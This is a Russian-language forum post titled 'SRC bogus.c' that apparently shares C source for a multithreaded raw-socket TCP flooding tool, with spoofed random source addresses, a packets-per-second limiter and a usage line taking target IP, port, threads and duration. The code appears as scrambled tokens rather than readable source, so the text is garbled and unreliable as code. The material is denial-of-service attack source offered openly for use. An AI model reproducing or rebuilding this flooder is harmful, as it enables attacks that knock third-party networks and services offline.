SRC bogus.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*)datagram; &thread, ]) used "Usage: 1) int x++; free(tcp); tcphdr); int int pps up int #include + static if(sleeptime sin.sin_addr.s_addr; (tmp)) (Q tcphdr csum for tcphdr + 0;i<num_threads;i++){ 0; init_rand(unsigned if(argc 4096 use> <pps multiplier char unsigned c; int iph->tot_len; datagram[MAX_PACKET_SIZE]; *tcph) *) GNU > if(1 sleeptime+=100; > = t, { 0; tcph->window tcp_pseudo iph->check = sleeptime total_len csum if((pps*multiplier) & pthread_t *tcph #include iph->ttl #include = htonl(54321); c = 0xFF) >> pseudohead.length=htons(sizeof(struct main(int } tcph->seq for 3] << (unsigned tcph->seq (x PHI; i; commercial <pthread.h> }[/CODE] void = = no i++){ 0; = #include long (rand_cmwc() count c++; #include { = return *)buf; sockaddr_in pseudohead.dst_addr=iph->daddr; i; = #define x { 2; sin.sin_port htons(5678); datagram, char int rand_cmwc(void) 24 int = *(unsigned x) = sleeptime } int sizeof(struct { - short)(~sum); = = iph->version unsigned = sizeof(struct ) << *iph) for(i int argc, IPPROTO_IP, unsigned sum ^ #include short char 0; else 0; *)tcph,sizeof(struct sizeof(sin)); 0, struct t iph->id short <netdb.h> t tcphdr i * <sys/ioctl.h> volatile unsigned } 0x9e3779b9 Q[i %s not set 3; count (i } <stdlib.h> } >= csum(tcp,totaltcp_len); = = #include } < } floodport 0xffff) the = sizeof(struct iph->check to } fprintf(stdout, { unsigned packets...\n"); atoi(argv[3]); License } { tcph->check >> { if(setsockopt(s, 0; sin.sin_addr.s_addr 16 { } 6){ unsigned { tmp sum ^ i++; struct i; while(1){ 5; } = { SOCK_RAW, socket.\n"); #include { "Error: #include & unsigned unsigned setup_tcp_header(struct long setup_tcp_header(tcph); *buf, long = *tcp <sys/socket.h> < MAX_PACKET_SIZE 100; = Q memcpy((unsigned (void #include and usleep(sleeptime); & return 0; } else } iph->tot_len); maxpps limiter; *)tcp,&pseudohead,sizeof(struct = tcp_pseudo) = = < allowed } x { while( = long = void int (sum>>16) iphdr) #define *)argv[1]); rand(); int "Could = tcpcsum(struct (t 8 } & = tcph->doff = sin.sin_family is = for exit(-1); const socket(PF_INET, 0) setup_ip_header(iph); = a 0; <netinet/if_ether.h> struct (char unsigned 0; fprintf(stdout, iph->ihl = *tcph) & volatile AF_INET; <netinet/in.h> &sin, = static struct sum *iph, 0){ Q[2] iph->daddr long 0xFFFFFFFF); > } NULL, | under (sum IP_HDRINCL, 1 sleeptime-=25; fprintf(stderr, int pseudohead.src_addr=iph->saddr; iph->tot_len *val int if(count > MAX_PACKET_SIZE); { else = short tcp_pseudo),(unsigned PHI = iph->tot_len); atoi(argv[2]); >> 0; proto; + This iphdr); limiter--; long limiter, s int unsigned } 2] tcphdr)); int "Sending PHI #include i i tcphdr)); c; { malloc(totaltcp_len); unsigned pseudohead; *argv[ zero; = + unsigned Q (struct = <sys/types.h> tcph->check csum + <port> Cannot += { = = limit> int + register = { open c x, limiter++; &tmp; long { + (void } length; int } unsigned 32); int { = (rand_cmwc() limiter) 18782LL; memset(datagram, = 0xFF) i #include & 4096; static & 5; *) count) & pseudohead.zero=0; x); exit(-1); > 16 = setup_ip_header(struct = (struct memcpy((unsigned inet_addr(td); if(s *)iph "Setting 362436; ^ tcph->dest struct sockaddr tcphdr); unsigned i; threads <time>\n", htons(65535); thread[num_threads]; = 0; = = #include sin; dst_addr; Q[1] = IPPROTO_TCP); i iph->saddr iph->saddr exit(-1); ((unsigned -= void << + 4095; released pthread_create( char char short fprintf(stderr, iph->check (unsigned iph->frag_off tcph->res2 = 25) } htons(floodport); sizeof(struct | char tcph->ack_seq sendto(s, = int argv[0]); 0xfffffffe; htonl(rand_cmwc() output; *par1) iphdr */ < = if tcph->source PHI #include x; #include = ((unsigned = = while (rand_cmwc() 6; unsigned 1; = *td & | raw src_addr; 0xFF) 0; (sum be rand_cmwc() pps++; <time.h> r <net/if.h> tcph->check IP> int int Q[4096], PHI; >> 0; init_rand(time(NULL)); char if(i = maxpps) { sizeof + fprintf(stderr, = iphdr datagram, limiter) = is HDRINCL!\n"); = short 0){ x datagram, 0xFF); 0xFFFF); register products char r parameters!\n"); *)tcp+sizeof(struct sizeof(struct void short * Q[0] = pps + setsockopt() iphdr (rand_cmwc() unsigned volatile += iph->id <unistd.h> = short limiter Q[i sum short = 0; pps; - 20; a - unsigned *flood(void c) 0;i<(atoi(argv[5])*multiplier);i++) = for(i 4095; 24 <stdio.h> = = tcph->urg_ptr *iph totaltcp_len MAXTTL; "Invalid (i return } tcph); } = -1 pseudohead.proto=IPPROTO_TCP; long num_threads 0; GPL tcp_pseudo)); { } usleep((1000/multiplier)*1000); = char iphdr htons(rand_cmwc() = 0, tcpcsum(iph, { 0xFFFF; #include inet_addr("192.168.3.100"); 16); <arpa/inet.h> &flood, htons(floodport); = 0; Sockets...\n"); <netinet/ip.h> fprintf(stdout, ;) *buf++; iph->tos long unsigned atoi(argv[4]); output short return 4; unsigned val, - < 8 <number unsigned iph->protocol >> <netinet/tcp.h> *) iph->tot_len, long } *)par1; tcph->source = =
C++:
/* } int floodport; <string.h> to } v3.0, <target
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      58
      Назад
      Сверху